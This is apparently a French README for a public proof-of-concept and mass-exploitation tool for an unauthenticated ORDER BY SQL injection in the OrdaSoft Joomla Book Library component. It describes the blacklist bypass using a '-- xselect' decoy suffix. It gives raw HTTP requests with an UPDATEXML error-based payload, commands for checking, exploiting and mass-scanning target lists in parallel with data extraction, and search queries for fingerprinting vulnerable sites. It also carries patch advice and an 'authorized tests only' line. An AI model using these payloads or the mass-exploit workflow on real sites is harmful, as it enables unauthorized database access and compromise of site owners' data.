
PoC Python 3 et exploit de masse pour CVE-2026-101110, une injection SQL ORDER BY non authentifiée dans OrdaSoft Joomla Book Library <=6.4.6 via les paramètres field/direction.
PoC Python 3 pour CVE-2026-101110 — OrdaSoft Book Library (Free) pour Joomla ≤ 6.4.6. Mettre à jour vers 6.4.7+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| Catalogue | https://pocbit.org/pocs/ |
| Composant | com_booklibrary |
| Fichier / fonction | site/booklibrary.php → books() |
| Paramètres | field, direction (tri) |
| Authentification | Aucune (listes de livres publiques) |
| CWE | CWE-89 Injection SQL |
| CVSS 4.0 | 9.3 Critique (Joomla CNA) |
| Crédit | Ala Arfaoui |
Book Library (Free) est une extension OrdaSoft qui fournit des listes de bibliothèques de livres / catégories dans Joomla. Dans les versions 6.4.6 et antérieures, la fonction books() filtre les paramètres field et direction avec protectInjectionWithoutQuote(). Cette fonction applique une liste noire faible qui recherche uniquement la sous-chaîne select ; lorsqu'elle la trouve, elle entoure la valeur avec $db->quote() au lieu de la rejeter.
Les valeurs sont ensuite ajoutées à une expression ORDER BY sans guillemets — l'utilisation de guillemets ici n'arrête pas l'injection SQL (description CNA).
Deux conditions sont nécessaires pour l'exploitation :
field / direction) stockées dans la session. -- xselect est ajouté à la fin de la charge utile ; il passe le contrôle de la liste noire, et le commentaire SQL neutralise le reste de la charge utile.Résultat : SQLi dans ORDER BY sans authentification, risque critique pour la lecture/écriture de la base de données et l'intégrité du site.
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
Filtre faible (conceptuel) :
select (sous-chaîne) → entoure toute la valeur de guillemets (sans effet dans un contexte ORDER BY).-- xselect afin que la liste noire voie select dans la queue de commentaire tandis que l'expression active avant -- reste du SQL exécutable (techniques error-based / UPDATEXML / ORDER BY empilé).Le PoC implémente :
| Étape | Action |
|---|---|
| Empreinte | Chemins com_booklibrary + version du manifeste en option |
| Découverte de route | showCategory, search, showBooks, books, … + catid / Itemid extraits |
| check | Amorçage de session → confirmation de la SQLi (flag / VERSION()) |
| exploit | Amorçage → extraction --subquery (par défaut SELECT VERSION()) |
| mass | --list + cibles parallèles -j ; exploited.txt en cas de fuite réussie |
Suffixe de charge utile constant dans le code : -- xselect (BLACKLIST_DECOY).
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Option | Signification |
|---|---|
--aggressive | Le mode check tente une fuite de version après l'amorçage |
--subquery | Expression interne pour les charges utiles UPDATEXML / double-query |
--exploited-list | Extractions réussies séparées par des tabulations |
--no-color | Désactive ANSI (également NO_COLOR) |
JSONL : pocbit, pocbit_catalog, pocbit_page, cve, component, session_primed.
Amorçage (session) :
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
Injection (le PoC ajoute le leurre) :
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
Les variantes POST sont tentées sur la même route lorsque GET échoue.
Manifeste (s'il est exposé) :
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → ligne vulnérable ; ≥ 6.4.7 → corrigée (patched_version dans la sortie de check).
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | Extension | Problème | Corrigé |
|---|---|---|---|
| CVE-2026-101110 | Book Library | SQLi ORDER BY + contournement de liste noire | 6.4.7 |
| CVE-2026-101111 | Book Library | XSS réfléchi (paramètre title) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | SQLi ORDER BY | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | SQLi ORDER BY | 6.7.9 |
Corrigez tous les composants OrdaSoft que vous déployez.
com_booklibrary dans les tâches search/lend (CVE-2010-1522) — chemins de code différentsTests autorisés et validation de correctifs uniquement.
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110